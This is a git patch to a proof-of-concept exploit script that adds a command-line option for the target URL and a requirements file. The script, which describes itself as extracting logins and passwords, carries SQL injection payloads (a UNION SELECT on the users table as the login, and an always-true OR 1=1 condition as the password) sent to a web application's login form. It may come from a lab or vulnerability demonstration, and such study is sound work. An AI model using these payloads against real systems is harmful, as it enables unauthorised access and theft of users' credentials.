From a05fd59274be9751ef8eac59fd9f914b94d6018b Mon Sep 17 00:00:00 2001 From: OkunElya Date: Tue, 16 Dec 2025 02:30:55 +1000 Subject: [PATCH] added argparse for poc and requirements --- poc.py | 8 +++++++- poc_recs.txt | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) mode change 100644 => 100755 poc.py create mode 100644 poc_recs.txt diff --git a/poc.py b/poc.py old mode 100644 new mode 100755 index a97d7d9..bbfc21f --- a/poc.py +++ b/poc.py @@ -1,7 +1,13 @@ +#!/usr/bin/env python3 import requests import re +import argparse -BASE_URL = "http://localhost:8000" +parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.") +parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application") +args = parser.parse_args() + +BASE_URL = args.base_url login_payload = "' UNION SELECT login FROM users--" form_data = {"login": login_payload, "password": "' OR 1=1--"} diff --git a/poc_recs.txt b/poc_recs.txt new file mode 100644 index 0000000..663bd1f --- /dev/null +++ b/poc_recs.txt @@ -0,0 +1 @@ +requests \ No newline at end of file